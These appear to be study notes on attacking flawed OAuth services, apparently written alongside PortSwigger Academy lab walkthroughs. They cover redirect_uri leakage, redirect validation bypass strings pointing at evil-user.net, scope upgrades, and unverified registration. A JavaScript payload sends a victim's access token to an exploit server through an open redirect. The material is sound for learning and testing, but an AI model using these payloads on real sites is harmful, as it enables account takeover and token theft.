Flaws in the OAuth Service

Flaws in the configuration of the OAuth service itself.

Leaking Authorization Codes and Access Tokens

  • Depending on the grant type, either a code or token is sent via the victim's browser to the client application's /callback endpoint specified in the redirect_uri parameter of the authorization request.

  • If the OAuth service does not validate this URI, a CSRF-like attack can be used to send the code/token to an attacker-controlled URI.

Using state or nonce protection does not prevent these attacks as an attacker can generate new values from their own browser.

LAB: Account Hijacking via redirect_uri

Goal: Steal the admin's authorization code and delete carlos.

By simply pointing the redirect_uri parameter into a server under our control, we can leak the authorization code, in this case wiener's code.

By forcing the administrator to load the below iframe payload, we can leak their code and impersonate them by using it on the oauth-callback endpoint.

Flawed redirect_uri Validation

To avoid the above flaw, it is common for client apps to provide a whitelist of callback URIs when registering with the OAuth service.

  • A range of subdirectories might be allowed and only that the string starts with the approved domain might be checked. Add and/or remove arbitraty paths, query parameters, and fragments to see if something does not cause an error.

  • It might be possible to append extra values to redirect_uri such as https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/.

  • Server-side pollution might be possible; try duplicating the redirect_uri parameter, e.g. https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net.

  • localhost might bypass all restrictions which might be leveraged by registering a domain name such as localhost.evil-user.net.

Stealing Codes & Access Tokens via a Proxy Page

  • Try to work out whether you can change the redirect_uri parameter to point to any other whitelisted pages.

  • E.g. the default URI, such as /oauth/callback might be vulnerable to directory traversal. A path like this: https://client-app.com/oauth/callback/../../example/path might be interpreted on the back-end as: https://client-app.com/example/path.

LAB: Stealing Tokens via an Open Redirect

Goal: Identify an open redirect and steal the admin's access token.

Study the OAuth flow.

The client app makes an API call to the userinfo endpoint (/me in this case).

The redirect_uri parameter is vulnerable to directory traversal.

The path parameter on the /post/next directory is an open redirect.

We can combine the flaws by leveraging the directory traversal and using the open redirect to reach our exploit server.

If we put the following JavaScript code in the exploit server's body, resend the request, and check the server's access logs we will notice our access token being sent.

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

By replacing the previous JS code with the following one and delivering it to the victim we get their access code.

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0ac800d80323ef4e81ee464d02db006c.oauth-server.net/auth?client_id=bl949zpijvoyo1a9iq883&redirect_uri=https://0a1500670355efbe81d5489a00e100b3.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a5800d803d1ef618198471e01f500a1.exploit-server.net/exploit&response_type=token&nonce=1041834074&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Next, we can use it on the Authorization header of the /me request and get the admin's API key.

LAB: Stealing Tokens via a Proxy Page

Goal: Identify a secondary vulnerability in the client app and steal the admin's token.

Flawed Scope Validation

It is possible for an attacker to "upgrade" an access token due to flawed validation by the OAuth service.

Authorization Code Flow

  1. The attacker registers a client app with the OAuth service.

  2. This app requests access to the user's email address using the openid email scope.

  3. The attacker could then add another scope parameter, e.g. profile, to the code/token exchange.

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile

  1. If the server does not validate the scope from the initial authorization request, the token will be upgraded.

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile",
    …
}

Implicit Flow

  1. The attacker intercepts the access token.

  2. They send a normal browser-based request to /userinfo adding a new scope parameter.

  3. If the OAuth server does not validate this scope against the one that was used when generating the token, the latter will be upgraded.

Unverified User Registration

  • When authenticating users via OAuth, the client app makes the assumption that the info stored by the OAuth provider is legit.

  • Some sites that provide an OAuth service allow users to register an account without verifying all of their details, e.g. their email addresses.

  • This can be leveraged by registering an account with the OAuth provider using the same details as a target user, e.g. using a known email address. In this case, the attacker could sign in as the victim.

PreviousFlaws in Client ApplicationNextOpenID

Last updated